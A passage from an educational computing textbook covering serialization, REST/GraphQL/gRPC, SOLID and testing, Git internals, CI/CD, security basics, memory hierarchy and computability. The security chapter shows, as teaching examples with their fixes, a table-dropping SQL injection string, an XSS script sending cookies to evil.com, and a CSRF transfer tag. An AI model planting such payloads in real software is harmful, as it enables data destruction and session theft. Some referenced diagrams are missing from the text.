Part 9

The Craft

The practitioner's toolkit and the deep ideas beneath it — serialization, APIs, version control, CI/CD, security, memory, and the reflections that tie every layer together.

Chapter 1

Serialization: Moving Data Between Systems

An object living in your program's memory — a graph of pointers, hash tables, and references — has no meaning outside that process. To send it over a network or save it to disk, you must flatten it into a linear sequence of bytes (serialization) and reconstruct it on the other side (deserialization). The format you choose trades human-readability against speed and size.

Text Formats

JSON is the lingua franca of the web — readable, universally supported, but verbose (keys repeat on every record) and schema-less:

{
  "name": "Alice",
  "age": 30,
  "orders": [
    { "item": "Book", "price": 15.99 },
    { "item": "Pen",  "price": 2.50 }
  ]
}

XML carries the same data far more verbosely, with namespaces and schemas (DTD, XSD); it lingers in enterprise and legacy systems. YAML is the most human-friendly and dominates configuration (Kubernetes, Docker Compose, CI pipelines), but it's indentation-sensitive and full of surprises — most infamously the "Norway problem," where the unquoted country code NO parses as the boolean false.

Binary Formats

When size and speed matter more than readability, binary formats win. Protocol Buffers (Google) is the most popular — you define a schema, and fields are encoded by compact numeric tags instead of repeated names:

message User {
  string name = 1;
  int32  age  = 2;
  repeated Order orders = 3;
}

The ecosystem is rich: FlatBuffers and Cap'n Proto offer zero-copy access (read fields without a parse step), Avro shines at schema evolution and pairs with Kafka, MessagePack is "binary JSON" with no schema, and Thrift bundles serialization with an RPC framework.

Analogy: JSON is a letter written in plain English — anyone can read it, but it's wordy. Protobuf is Morse code — compact and fast, but you need the codebook (the schema) to decode it.

Schema Evolution

Real systems change: you add fields, deprecate others, and must keep old and new code interoperating. This is where schemas earn their keep. Add an email field with tag 3, and:

  • Old code reading new data simply ignores the unknown field 3. ✓
  • New code reading old data sees email missing and uses its default. ✓

The rules that make this safe: never reuse a field number, make new fields optional (give them defaults), and never change a field's type incompatibly.

Analogy: Schema evolution is updating a government form. You can add new optional boxes (the new version), and old submissions are still accepted — the new boxes are just left blank.

Chapter 2

API Design: Contracts Between Systems

An API is a contract between systems: it fixes what one program can ask of another and what it gets back, so the two can evolve independently. Three styles dominate the modern web, each making different trade-offs, plus two patterns for pushing data instead of pulling it.

REST

The dominant web API style models everything as resources (nouns, addressed by URL) acted on by HTTP verbs:

GET    /users/123          read user 123
POST   /users              create a new user
PUT    /users/123          replace user 123 entirely
PATCH  /users/123          partially update user 123
DELETE /users/123          delete user 123

REST is stateless — each request carries everything needed, so the server remembers nothing between calls (which is what lets you scale out across many identical servers). Good REST uses nouns not verbs in URLs (POST /users, never /createUser), the right HTTP method (DELETE, not POST /users/123/delete), and proper status codes (201 Created with a Location header, not 200 for everything).

The strictest form of REST adds HATEOAS (Hypermedia as the Engine of Application State): each response carries links to the actions available next, so a client can navigate the API the way a browser navigates a site, without hard-coding URLs:

{
  "id": 123,
  "name": "Alice",
  "links": {
    "self":   "/users/123",
    "orders": "/users/123/orders",
    "delete": "/users/123"
  }
}

Few public APIs go this far (GitHub's *_url fields are a partial example), but the idea explains why REST was designed around resources and links rather than procedures.

Analogy: REST is a library. Resources (books) have addresses (URLs); you check out (GET), donate (POST), replace (PUT), or discard (DELETE) them. Each interaction stands alone — there's no "session" to log into first.

GraphQL

REST's weakness is fixed response shapes, which cause over-fetching (you get fields you don't need) and under-fetching (you need several round trips). GraphQL inverts control: one endpoint, and the client specifies exactly the shape it wants:

query {
  user(id: 123) {
    name
    email
    orders(last: 5) { item price }
  }
}

The server returns precisely that structure — no more, no less. The cost is that HTTP caching (trivial in REST, keyed by URL) becomes much harder.

gRPC

For internal service-to-service traffic where humans aren't reading the wire, gRPC sends binary Protocol Buffers over HTTP/2. You define a service contract, and client/server stubs are generated from it:

service UserService {
  rpc GetUser(GetUserRequest) returns (User);
  rpc Chat(stream Message) returns (stream Message);  // bidirectional streaming
}

gRPC is far faster (binary, multiplexed over HTTP/2), strongly typed, and supports streaming in both directions — but it's not human-readable (no quick curl test) and needs a proxy to reach browsers.

Analogy: REST is mailing letters (text, readable, slow). gRPC is a dedicated phone line — fast, structured, and both sides can talk at once.

The rule of thumb: REST for public APIs and simple CRUD, GraphQL for complex nested data and bandwidth-conscious mobile apps, gRPC for fast internal microservice calls.

Webhooks — Don't Call Us, We'll Call You

All three styles above are request/response: the client asks, the server answers. But what if the client wants to know when something happens? Polling — asking repeatedly — is wasteful and laggy. A webhook flips it: the client registers a URL, and the server makes an HTTP call to it when the event occurs.

WebSockets — A Persistent Two-Way Channel

Webhooks are still one-shot HTTP calls. For continuous, low-latency, bidirectional communication — chat, live dashboards, multiplayer games, collaborative editing — you want a connection that stays open. WebSockets start as a normal HTTP request, then upgrade the connection into a persistent full-duplex channel:

Analogy: Plain HTTP is a walkie-talkie — one side talks, says "over," then the other replies. A WebSocket is a phone call: once connected, both sides speak freely whenever they like.

Chapter 3

Software Engineering Principles

Writing code that works is the easy part. Writing code that stays changeable as it grows, that a team of people who didn't write it can read and modify safely, is the craft. Almost every principle in this chapter is an answer to one question: when requirements change, how much of the code has to change with them? Good design keeps that number small and predictable.

Coupling and Cohesion

Two words sit under every other principle here.

  • Cohesion is how closely the things inside one module belong together. A PasswordHasher that only hashes and verifies passwords is highly cohesive. A utils.py with date formatting, retry logic and a CSV parser is not.
  • Coupling is how much one module depends on the internals of another. If changing the database schema forces edits in the HTTP handlers, those two are tightly coupled.

The goal is high cohesion, low coupling: modules that each do one thing completely and talk to each other through small, stable interfaces. It is the same idea as layering in networking and the system-call boundary in the operating system, applied to your own code.

Analogy: A well-run kitchen. The pastry station has everything for pastry and nothing else (cohesion). The grill station doesn't reach into the pastry fridge; it asks for what it needs through the pass (low coupling). You can replace the pastry chef without retraining the grill cook.

SOLID

Five guidelines named by Robert C. Martin in the early 2000s. They are phrased for object-oriented code, but each is really about isolating change, and each has a functional or modular equivalent.

S: Single Responsibility

A module should have one reason to change. "Reason to change" means a person or team who might ask for a change.

# Bad: three different stakeholders edit this class
class User:
    def authenticate(self, password): ...      # security team
    def save(self): ...                         # database team
    def monthly_report(self): ...               # finance team
# Good: each class has one owner and one reason to change
class Authenticator:
    def verify(self, user, password): ...

class UserRepository:
    def save(self, user): ...
    def by_email(self, email): ...

class UserReport:
    def monthly(self, users): ...

When finance asks for a new report column, you edit UserReport and nothing that touches passwords can break.

Analogy: A chef shouldn't also be the waiter and the accountant. When the menu changes, only the chef's job changes.

O: Open/Closed

Open for extension, closed for modification. Add behavior by adding code, not by editing code that already works.

# Bad: every new shape means editing (and re-testing) this function
def area(shape):
    if shape.kind == "circle":
        return math.pi * shape.r ** 2
    elif shape.kind == "rectangle":
        return shape.w * shape.h
    # ...and another elif for triangles, and another for polygons
# Good: new shapes extend the system without touching existing ones
from abc import ABC, abstractmethod

class Shape(ABC):
    @abstractmethod
    def area(self) -> float: ...

class Circle(Shape):
    def __init__(self, r): self.r = r
    def area(self): return math.pi * self.r ** 2

class Rectangle(Shape):
    def __init__(self, w, h): self.w, self.h = w, h
    def area(self): return self.w * self.h

class Triangle(Shape):                     # added later; nothing above changed
    def __init__(self, b, h): self.b, self.h = b, h
    def area(self): return 0.5 * self.b * self.h

Plugin systems, middleware chains and strategy objects are all open/closed in practice: the core stays fixed and new behavior plugs in.

L: Liskov Substitution

A subtype must work anywhere its base type is expected, without surprising the caller. Barbara Liskov stated it in 1987; it is a rule about behavior, not just method signatures.

class Rectangle:
    def set_width(self, w): self.w = w
    def set_height(self, h): self.h = h
    def area(self): return self.w * self.h

class Square(Rectangle):                  # "a square is a rectangle"... mathematically
    def set_width(self, w): self.w = self.h = w
    def set_height(self, h): self.w = self.h = h

def stretch(rect: Rectangle):
    rect.set_width(5)
    rect.set_height(4)
    assert rect.area() == 20              # fails for Square: area is 16

The type checker is happy, and the program is wrong. The fix is to stop pretending: Square and Rectangle should both be Shapes, or the shapes should be immutable (a "resize" returns a new object), which removes the setter that caused the conflict.

Analogy: If I promise to deliver "a vehicle" and you're planning to drive it on the motorway, sending a boat breaks the deal, even though a boat is a vehicle.

I: Interface Segregation

Don't force clients to depend on methods they don't use.

# Bad: one fat interface
class Worker(ABC):
    @abstractmethod
    def work(self): ...
    @abstractmethod
    def eat(self): ...
    @abstractmethod
    def sleep(self): ...

class Robot(Worker):
    def work(self): ...
    def eat(self): raise NotImplementedError     # a lie in the type system
    def sleep(self): raise NotImplementedError
# Good: small role interfaces; implement only what fits
from typing import Protocol

class Workable(Protocol):
    def work(self) -> None: ...

class Feedable(Protocol):
    def eat(self) -> None: ...

class Human:
    def work(self): ...
    def eat(self): ...

class Robot:
    def work(self): ...

def run_shift(workers: list[Workable]): ...    # accepts both

Python's Protocol and Go's interfaces make this natural: a type satisfies an interface just by having the methods, so interfaces can be tiny and defined by the code that uses them.

D: Dependency Inversion

High-level policy should not depend on low-level details; both should depend on abstractions.

# Bad: business logic welded to one database and impossible to unit test
class OrderService:
    def __init__(self):
        self.db = PostgresDatabase("prod-host:5432")    # hidden, hard-coded dependency

    def place(self, order):
        self.db.insert("orders", order)
# Good: depend on an interface; inject the implementation
class OrderStore(Protocol):
    def add(self, order) -> None: ...

class OrderService:
    def __init__(self, store: OrderStore):
        self.store = store

    def place(self, order):
        if order.total <= 0:
            raise ValueError("empty order")
        self.store.add(order)

# production
service = OrderService(PostgresOrderStore(pool))

# tests: an in-memory fake, no database needed
class FakeStore:
    def __init__(self): self.orders = []
    def add(self, order): self.orders.append(order)

def test_rejects_empty_order():
    svc = OrderService(FakeStore())
    with pytest.raises(ValueError):
        svc.place(Order(total=0))

Passing dependencies in through the constructor is called dependency injection. It needs no framework; a constructor argument is enough.

Analogy: A lamp shouldn't be hard-wired to one power station. It has a standard plug (the interface), and any socket with the right voltage (any implementation) will do.

Beyond SOLID: The Everyday Rules

Principle Meaning Where it goes wrong
DRY (Don't Repeat Yourself) Every piece of knowledge has one authoritative place Merging code that merely looks alike, coupling things that change for different reasons
KISS (Keep It Simple) Prefer the simplest design that works Mistaking "fewest lines" for simple; clever one-liners are not simple
YAGNI (You Aren't Gonna Need It) Don't build for imagined future requirements Skipping cheap seams (an interface, a config value) that are expensive to add later
Composition over inheritance Build behavior by combining objects, not by deep class trees Inheritance hierarchies more than two levels deep, "fragile base class" bugs
Law of Demeter Talk to your friends, not your friends' friends order.customer.address.city.name chains that couple you to four classes
Fail fast Detect bad state at the boundary and stop loudly Swallowing exceptions, returning None for errors

Pitfall: "Duplication is far cheaper than the wrong abstraction" (Sandi Metz). Two functions that look the same today but serve different business rules will diverge tomorrow. If you merge them, every future change needs a flag. Wait for the third occurrence and for the reason to be the same, then extract.

Design Patterns

Patterns, catalogued in the 1994 "Gang of Four" book, are named solutions to problems that recur in object-oriented code. Their main value is vocabulary: "put a decorator around the client" says in five words what would otherwise take a paragraph.

Family Pattern What it does You've used it as
Creational Singleton One shared instance A connection pool, a logger
Creational Factory Create objects without naming the concrete class open() returning a text or binary file
Creational Builder Assemble a complex object step by step Query builders, HTTP request builders
Structural Adapter Make one interface look like another A wrapper giving a legacy API a modern signature
Structural Proxy Stand in front of an object to control access Lazy loading, caching clients, ORMs
Structural Decorator Add behavior by wrapping, without modifying Python's @retry, @lru_cache
Behavioral Observer Notify subscribers when something changes Event listeners, pub/sub, React state
Behavioral Strategy Swap interchangeable algorithms at runtime sorted(key=...), pluggable pricing rules
Behavioral Iterator Traverse without exposing the structure Every for loop over a collection

Four of them, in code:

# Builder: readable construction of something with many optional parts
query = (QueryBuilder()
         .select("name", "age")
         .from_table("users")
         .where("age > 25")
         .order_by("name")
         .limit(10)
         .build())
# Strategy: the algorithm is a parameter
def price_with(strategy, cart):
    return strategy(cart)

regular   = lambda cart: sum(i.price for i in cart)
black_fri = lambda cart: 0.7 * regular(cart)
loyalty   = lambda cart: regular(cart) - min(20, 0.1 * regular(cart))

price_with(black_fri, cart)
# Decorator: add retries to any function without editing it
import functools, time

def retry(times=3, delay=0.2):
    def wrap(fn):
        @functools.wraps(fn)
        def inner(*args, **kwargs):
            for attempt in range(times):
                try:
                    return fn(*args, **kwargs)
                except ConnectionError:
                    if attempt == times - 1:
                        raise
                    time.sleep(delay * 2 ** attempt)     # exponential backoff
        return inner
    return wrap

@retry(times=5)
def fetch_rates(): ...
# Observer: publishers don't know who is listening
class EventBus:
    def __init__(self): self.subs = {}
    def subscribe(self, event, fn): self.subs.setdefault(event, []).append(fn)
    def publish(self, event, payload):
        for fn in self.subs.get(event, []):
            fn(payload)

bus = EventBus()
bus.subscribe("order_placed", send_confirmation_email)
bus.subscribe("order_placed", update_inventory)
bus.publish("order_placed", order)

Notice that in a language with first-class functions, Strategy is "pass a function" and Decorator is "wrap a function." Many classic patterns are workarounds for languages that lacked closures, which is why they look heavier in Java than in Python or Go.

Key idea: Patterns are vocabulary, not goals. Reaching for a pattern where a plain function would do adds indirection, not quality. Use them when the problem they solve is actually in front of you.

The Testing Pyramid

Tests come in layers. A healthy suite has many fast tests at the bottom and few slow ones at the top:

Layer Tests Speed Catches
Unit One function or class, collaborators replaced Milliseconds Logic errors, edge cases
Integration Real components together: code + database, service + queue Seconds Wrong SQL, serialization mismatches, config errors
End-to-end The whole system through its real interface Minutes Broken user journeys, deployment problems
# Unit: one function in isolation
def test_discount_never_negative():
    assert apply_discount(price=10, pct=150) == 0

# Integration: the API and a real (test) database together
def test_create_user(client, db):
    r = client.post("/users", json={"name": "Alice"})
    assert r.status_code == 201
    assert db.users.find_one(name="Alice") is not None

# End-to-end: a real browser against a deployed environment
def test_checkout(page):
    page.goto("/login"); page.fill("#email", "alice@example.com"); page.click("text=Sign in")
    page.click("text=Add to cart"); page.click("text=Checkout")
    assert page.is_visible("text=Order confirmed")

Analogy: Unit tests check each LEGO brick is the right shape. Integration tests check the bricks snap together. End-to-end tests check the finished castle looks like the picture on the box. A suite that is mostly end-to-end tests (an "ice-cream cone") is slow, flaky and tells you that something broke but not where.

Test Doubles

To test a unit in isolation you replace its collaborators with stand-ins. They have distinct jobs:

Double What it does Use when
Stub Returns canned answers You need the collaborator's output ("user 123 is Alice")
Mock Records calls so you can assert on them The interaction is the behavior ("an email was sent")
Fake A simplified working implementation You want realistic behavior cheaply (an in-memory store)
Spy Wraps the real object and records calls You want the real behavior and to check how it was used
from unittest.mock import Mock

def test_signup_sends_welcome_email():
    mailer = Mock()                                   # mock: we assert on the call
    users = FakeUserStore()                           # fake: works, in memory
    svc = SignupService(users, mailer)

    svc.signup("alice@example.com")

    mailer.send.assert_called_once_with(
        to="alice@example.com", template="welcome")
    assert users.exists("alice@example.com")

Pitfall: Over-mocking. A test that mocks every collaborator and asserts on every call verifies the implementation, not the behavior, and breaks on every refactor while catching no real bugs. Mock at the boundaries you don't own (network, email, payment provider) and use real objects or fakes everywhere else.

Test-driven development, property tests and mutation testing

Test-driven development (TDD) writes the test first: red (a failing test that states the requirement), green (the simplest code that passes), refactor (clean up with the test as a safety net). Its main benefit is design pressure: code that is hard to test first is usually too coupled.

Property-based testing generates hundreds of random inputs and checks invariants instead of hand-picked examples:

from hypothesis import given, strategies as st

@given(st.lists(st.integers()))
def test_sort_properties(xs):
    out = my_sort(xs)
    assert len(out) == len(xs)                         # nothing lost
    assert all(a <= b for a, b in zip(out, out[1:]))   # ordered
    assert sorted(xs) == out                           # agrees with a reference

When it finds a failure it shrinks the input to the smallest case that still fails, often an empty list or a single negative number.

Mutation testing measures the tests themselves: a tool makes small changes to your code (flip < to <=, delete a line) and checks that some test fails. A mutant that survives is a bug your suite would not catch. Line coverage tells you code ran; mutation score tells you it was checked.

Code Review and Readability

Code is read far more often than it is written, mostly by people who were not there when it was written. A few habits do most of the work:

  • Names carry intent. elapsed_ms beats t; is_eligible_for_refund() beats check().
  • Functions do one thing at one level of abstraction. If you need "and" to describe it, split it.
  • Comments explain why, not what. The code says what. The comment says why the obvious approach was wrong.
  • Small changes. Reviews of 200 lines find real problems; reviews of 2,000 lines get approved.
  • Make illegal states unrepresentable. A type with status: Literal["pending", "paid", "refunded"] can't hold "payed". Types are documentation the compiler checks.

Key idea: Every principle in this chapter trades a little effort now for less effort later. Apply them in proportion to how long the code will live and how many people will change it. A throwaway script needs none of them; a payments service needs all of them.

Chapter 4

Version Control: Git Internals

Most people learn Git as a set of incantations — add, commit, push — and are mystified when something goes wrong. The cure is to understand what Git actually is: a small content-addressable file system, with a version-control interface bolted on top. Everything is an object, named by the SHA hash of its own contents.

The Object Model

Git stores exactly four kinds of objects:

The chain is what makes history: a commit points to a tree (a full snapshot of your directory) and to its parent commit; the tree points to blobs (file contents) and sub-trees. Because every object is named by the hash of its contents, identical files are stored once, and any tampering is instantly detectable.

A crucial, demystifying consequence: a branch is just a 41-byte file containing a commit hash. HEAD is a pointer to the current branch. Creating a branch creates that tiny file — which is why Git branching is instant and cheap, unlike the heavyweight branches of older systems.

Analogy: Git is a video-game save system. Each commit is a save point, branches are save slots where you try different strategies, and merging combines progress from two slots.

How the Key Operations Work

Once you see the object model, the commands stop being magic:

  • git add copies file contents into the object store as blobs and records them in the staging area (the index).
  • git commit freezes the index into a tree object and creates a commit pointing to that tree and the previous commit.
  • git branch feature writes one small file containing the current commit's hash. That's the whole operation.

Merge vs Rebase

The two ways to combine branches differ in what they do to history:

A fast-forward merge (when history hasn't diverged) just slides the branch pointer forward. A three-way merge of diverged branches creates a merge commit with two parents, preserving the true shape of what happened. Rebase instead replays your commits on top of the target branch, producing new commits with the same changes but a clean, linear history — at the cost of rewriting those commits.

Analogy: Merge says "I combined the work from both branches." Rebase says "I'll pretend I started from the latest main, even though I didn't."

Inside the .git Directory

It's all just files on disk — nothing hidden:

.git/
  HEAD              ref: refs/heads/main  (the current branch)
  objects/          every blob, tree, commit, tag — stored by hash
    pack/           compressed "packfiles" for efficiency
  refs/
    heads/          branch pointers (each file holds a commit hash)
    tags/           tag pointers
  index             the staging area (a binary file)
  config            repository configuration

Key insight: there's no database and no server inside .git — just a directory of content-addressed objects and a handful of pointer files. Understanding that turns Git from a black box into something you can reason about with confidence.

Chapter 5

CI/CD: Continuous Integration and Deployment

Shipping software used to be a tense, manual event. CI/CD — continuous integration and continuous delivery/deployment — turns it into a routine, automated, low-risk pipeline that runs on every push. The goal is simple: make releasing so safe and frequent that it becomes boring.

The Pipeline

Every code push flows through a series of automated gates; any failure stops the line and notifies the developer before bad code spreads:

Continuous Integration is the first half — build, test, and scan every change automatically, so integration problems surface in minutes, not at a painful "merge day." Continuous Delivery keeps the build always deployable; Continuous Deployment goes further and ships every passing change to production automatically.

Deployment Strategies

The risky moment is the cutover to production. Three strategies reduce the blast radius of a bad release:

Rolling updates replace instances a few at a time — no extra capacity needed, but two versions run simultaneously during the rollout. Blue-green keeps two full environments and flips traffic between them instantly, giving an immediate rollback path at the cost of double the infrastructure. Canary sends a small slice of traffic to the new version and watches its error rates before ramping up — the safest, since a bad release touches only a few users.

Analogy: "Canary" comes from coal mining, where miners carried a canary to detect toxic gas. A canary deployment is the same early-warning system — a small exposure that reveals trouble before it reaches everyone.

Feature Flags

Deployment and release don't have to be the same event. A feature flag ships new code to production but hides it behind a runtime toggle:

if feature_flags.is_enabled("new_checkout", user):
    new_checkout_flow()
else:
    old_checkout_flow()

This decouples the two: you deploy code dormant, then enable it for specific users or a percentage, run A/B tests, and — crucially — roll back instantly by flipping the flag instead of redeploying. It's the backbone of how large products ship continuously without big-bang launches.

Chapter 6

Security Fundamentals

Security is not a feature you bolt on; it's a property of how a system is designed, and it fails at the weakest point. Two principles underlie everything in this chapter. Defense in depth: assume any single safeguard will fail, so layer several. Least privilege: give every user, service, and credential the minimum access it needs and nothing more. With those in mind, let's survey where attacks come from and how to blunt them.

Injection — SQL Injection

The classic application vulnerability: untrusted input is concatenated into a command, so the attacker's data becomes executable code.

// VULNERABLE — input is glued straight into the query:
query = "SELECT * FROM users WHERE name = '" + userInput + "'"

// If userInput = "'; DROP TABLE users; --"
//   the query becomes two statements, the second destructive.

// FIX — parameterized query: input is data, never code:
query  = "SELECT * FROM users WHERE name = ?"
params = [userInput]

Analogy: SQL injection is ordering at a restaurant: "I'll have the salad — and also go into the kitchen and delete the recipe book." Parameterized queries treat the entire input as a single order item, never as instructions to the kitchen.

Cross-Site Scripting (XSS)

Injection's browser-side cousin: an attacker gets their JavaScript to run in other users' browsers, typically by planting it where it will be rendered as markup.

<!-- Attacker submits a comment containing: -->
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>
<!-- Every visitor who views the comment ships their cookies to the attacker. -->

The fix is to escape or sanitize all user-supplied output so it renders as inert text — &lt;script&gt; displays the characters instead of executing them — backed by a Content Security Policy.

Cross-Site Request Forgery (CSRF)

Here the attacker rides your authenticated session. Their page silently triggers a request to a site you're logged into; your browser dutifully attaches your cookies, and the server can't tell it wasn't you.

<!-- On the attacker's page: -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
<!-- Your browser sends your bank.com cookies with the request. -->

The fix is a CSRF token — an unpredictable value the server embeds in each legitimate form and verifies on submission, which the attacker's page cannot know.

Authentication vs Authorization

Two words that sound alike and are constantly confused, yet protect against completely different failures:

Concept Question Example
Authentication (AuthN) "Who are you?" Logging in with a password or passkey
Authorization (AuthZ) "What are you allowed to do?" An admin can delete; a user can only read

Analogy: Authentication is showing your ID at the door. Authorization is whether that ID gets you into the VIP section. Proving who you are doesn't decide what you may do.

Storing Passwords

The right approach was covered in the cryptography chapter and bears repeating because it's so often wrong: never store plaintext, never store reversibly-encrypted passwords, and never store a plain fast hash (vulnerable to rainbow tables). Instead salt each password and run it through a slow, memory-hard hash (bcrypt, scrypt, Argon2):

salt = random_bytes(16)               // unique per user
hash = bcrypt(password + salt, cost=12) // intentionally slow
store { salt, hash }                   // never the password itself

Delegated Access — OAuth 2.0 and JWT

OAuth 2.0 lets a third-party app act on your behalf without ever seeing your password. "Login with Google" is the everyday example:

Analogy: OAuth is handing a hotel a valet key. It starts the engine and opens the doors but not the trunk or glovebox — limited, scoped access without surrendering your master key.

The token itself is often a JWT (JSON Web Token) — a signed, self-describing credential:

Because the signature proves authenticity, the server can trust a JWT without looking anything up — the token carries its own claims. The trade-off is revocation: a stolen token is valid until it expires, which is why JWTs are kept short-lived.

Availability — DDoS

Not every attack steals data; some just deny service. A distributed denial-of-service attack floods a target from thousands of compromised machines so legitimate users can't get through:

Defenses are about absorption and filtering, not blocking individuals: rate limiting, CDN/edge absorption (Cloudflare), anycast routing to spread the load geographically, and traffic scrubbing.

Chapter 7

The Complete Memory Picture

Memory has appeared in nearly every part of this book — cache lines in hardware, the stack and heap in languages, virtual memory in the OS, buffer pools in databases. This short chapter unifies them into a single mental model, from your variables all the way down to the silicon.

Each level rests on the one below, translating a convenient abstraction into a less convenient reality. Your code says let x = [1, 2, 3]; the runtime decides that the array's contents live on the heap while the reference lives on the stack; the OS maps that heap address into your process's private virtual address space; and the hardware ultimately resolves it to a physical location, hopefully already sitting in cache.

The reason this matters is that the levels differ in speed by enormous factors. A single memory access can resolve almost instantly — or take a million times longer:

L1 cache hit         ~1 ns
L2 cache             ~5 ns
L3 cache             ~20 ns
RAM (after TLB/page) ~100 ns
SSD (page fault)     ~100,000 ns      ← 1,000× slower than RAM
HDD (page fault)     ~10,000,000 ns   ← 100,000× slower

In the best case the CPU finds the data in L1 and never leaves the chip. In the worst case a TLB miss leads to a page-table walk, the page isn't in RAM at all, and a page fault forces the OS to fetch it from disk — a stall so long the CPU could have executed millions of instructions instead.

Core takeaway: the entire memory system exists to fight one immovable constraint — fast memory is small and expensive, slow memory is large and cheap. Caching, virtual memory, and the exploitation of locality (the tendency of programs to reuse recent data and nearby addresses) all conspire to create the illusion of memory that is simultaneously huge and fast. Writing cache-friendly, locality-aware code is one of the highest-leverage performance skills there is.

Chapter 8

The Evolution of Computing Paradigms

Step back far enough and the entire history of computing reads as one long story: each generation builds an abstraction that hides the messy details of the one before, freeing engineers to think bigger. Seeing the pattern helps you place any new technology — including whatever comes after the cloud.

A Timeline of Rising Abstraction

Every entry is a layer placed atop the last. Assembly hid raw machine code; high-level languages hid assembly; operating systems hid the hardware; the cloud hid the data center; serverless hides the servers themselves. The same force — abstraction managing complexity — runs through all eight decades.

The Serverless Model

The clearest recent example is serverless, which is best understood not as "no servers" but as a shift in who manages what:

You write a function; the provider runs it on demand, scaling from zero to thousands of instances and billing only for execution time:

exports.handler = async (event) => {
    const name = event.queryStringParameters.name;
    return { statusCode: 200, body: JSON.stringify({ message: `Hello, ${name}!` }) };
};

The trade-offs are real and define when not to use it: cold starts (the first invocation can take 100 ms–1 s), capped execution time (often 15 minutes), vendor lock-in, harder local testing, and unsuitability for long-running processes. Within those limits, it's the logical end point of the abstraction trend — you think only about your code.

Analogy: The path from servers to serverless mirrors owning a car → taxis → ride-sharing. A car (bare metal) gives full control but you handle maintenance and parking. A taxi (cloud VM) is someone else's car that you still direct. Ride-sharing (serverless) means you just state your destination and a vehicle appears — you pay per ride and never think about the car.

Chapter 9

The Philosophical Foundations

Beneath all the engineering lie a few deep results about what computers can and cannot do — discovered before practical computers even existed. They aren't trivia; they set hard limits that working engineers bump into, from why a perfect antivirus is impossible to why encryption works at all.

Turing Machines and Computability

In 1936, Alan Turing defined a machine of almost insulting simplicity: an infinite tape of cells, a head that reads and writes one symbol at a time, and a tiny table of rules:

The astonishing result: this machine can compute anything that any computer can compute. Your laptop, a supercomputer, and a Turing machine are all equivalent in computational power — they differ only in speed and memory, not in what is ultimately computable. This is the bedrock notion of "computable."

The Halting Problem

Turing then proved a limit. Can we write a program H(program, input) that decides whether any given program eventually halts or loops forever? No — it's impossible. The proof builds a paradoxical program:

def evil(x):
    if H(evil, x):   # if H says evil halts...
        loop forever  #   ...then loop forever  (contradiction)
    else:             # if H says evil loops...
        halt          #   ...then halt           (contradiction)

H cannot answer correctly for evil, so H cannot exist. This isn't a gap in our cleverness; it's a permanent boundary. It's why no tool can perfectly detect all malware, decide whether two programs are equivalent, or perfectly optimize all code.

Analogy: It's like asking, "can you predict everything?" If you could, someone could deliberately do the opposite of your prediction — making it wrong. Perfect prediction of a system that can react to the prediction is inherently impossible.

P vs NP

The most famous open problem in computer science asks whether finding a solution is fundamentally as easy as checking one:

Most researchers believe P ≠ NP — that some problems are inherently hard to solve even though solutions are easy to verify — but no one has proven it, and the Clay Institute offers $1,000,000 for an answer. The stakes are practical: much of modern cryptography rests on certain problems (like factoring) being hard. If P = NP, that hardness evaporates and encryption breaks; that P seems not to equal NP is, in a sense, what keeps your data safe.

Information Theory

In 1948 Claude Shannon founded information theory with a single idea: entropy, the minimum number of bits needed to represent information, defined as H = −Σ p(x)·log₂ p(x). A fair coin flip carries exactly 1 bit; a coin that lands heads 90% of the time carries only ~0.47 bits, because the outcome is less surprising. Entropy is the theoretical floor beneath data compression (you can't compress below it), the basis for error-correcting codes, the measure of cryptographic key strength, and the cross-entropy loss that trains neural networks.

Analogy: Entropy measures surprise. "Sunny again" in the desert carries little information; a London forecast of "rain, snow, sun, or hail" carries a lot. More surprise means more information means more bits required.

Chapter 10

Cross-Cutting Concepts: The Connective Tissue

Some ideas don't belong to any single layer — they cut across all of them. This closing chapter gathers the connective tissue: the estimation skills, correctness properties, and delivery guarantees that recur everywhere in systems work.

Back-of-the-Envelope Estimation

Every systems designer must size things in their head before building them. The toolkit is a handful of memorized numbers and the willingness to round aggressively. The powers of two — 2¹⁰ ≈ 1K, 2²⁰ ≈ 1M, 2³⁰ ≈ 1B — plus a few rates of thumb:

Quantity Rough value
Seconds in a day ~10⁵ (86,400)
Seconds in a year ~3 × 10⁷
QPS per web server ~1K–10K (cache: 100K+)
SSD read throughput ~500 MB/s
1 Gbps network ~125 MB/s

For example, "store 1 billion URLs": ~200 bytes each → 200 GB (fits one SSD, but shard for throughput); at 1M new URLs/day that's ~12 writes/s and, at 100:1 reads, ~1,200 reads/s — trivial for one server, so the real design driver is availability, not load. The value of the estimate is that it tells you which constraint actually matters.

Idempotency

An operation is idempotent if doing it many times has the same effect as doing it once. GET, PUT, and DELETE are idempotent; POST and "charge a credit card" are not. This property is the unsung hero of distributed systems: because networks are unreliable and clients retry, idempotent operations make retries safe. For non-idempotent ones, you attach an idempotency key so the server can recognize and ignore a duplicate:

POST /payment { amount: 100, idempotency_key: "abc123" }
  server: seen "abc123" before? → return the cached result (don't charge twice)
                          else?  → process, then store the result under that key

Analogy: Pressing an elevator button is idempotent — ten presses do what one does. Ordering a pizza is not — order ten times and ten pizzas arrive.

Living with Eventual Consistency

When data is replicated and you've chosen availability over strong consistency, replicas temporarily disagree and must converge. Three strategies handle the conflicts:

  • CRDTs (Conflict-free Replicated Data Types) are data structures designed to merge without coordination — e.g. a grow-only counter merges by taking the max of each node's entry, so every replica independently reaches the same total. Used in collaborative editors and distributed counters.
  • Last-Writer-Wins keeps the value with the highest timestamp — simple, but silently drops the loser of a concurrent write.
  • Application-level resolution stores all conflicting versions and lets the app decide — Amazon's shopping cart famously merges conflicting carts by union, so items are never lost.

Analogy: CRDTs are people counting cars from different windows. Each counts independently; when they compare notes, they merge by taking the max from each window — no coordination needed, and the answer is always right.

Delivery Guarantees

Finally, how reliably can a message be delivered? There are three levels, and the strongest is subtle:

The practical trick worth remembering: "exactly-once" is achieved as at-least-once delivery plus an idempotent consumer. The system retries until it's sure the message arrived (possibly delivering duplicates), and the consumer recognizes and discards anything it has already processed. Kafka's exactly-once semantics are built exactly this way — idempotent producers, transactional writes, and tracked consumer offsets.

Analogy: At-most-once is mailing a letter with no tracking (it might vanish). At-least-once is certified mail you re-send until confirmed (duplicates possible). Exactly-once is certified mail where the recipient opens only the first copy of each letter.

Where These Fit

Idempotency, redundancy and partitioning are three of ten ideas that recur at every layer of the stack, from CPU caches to data centers. The Big Picture takes all ten in turn, and the complete map shows where every topic on this site lives.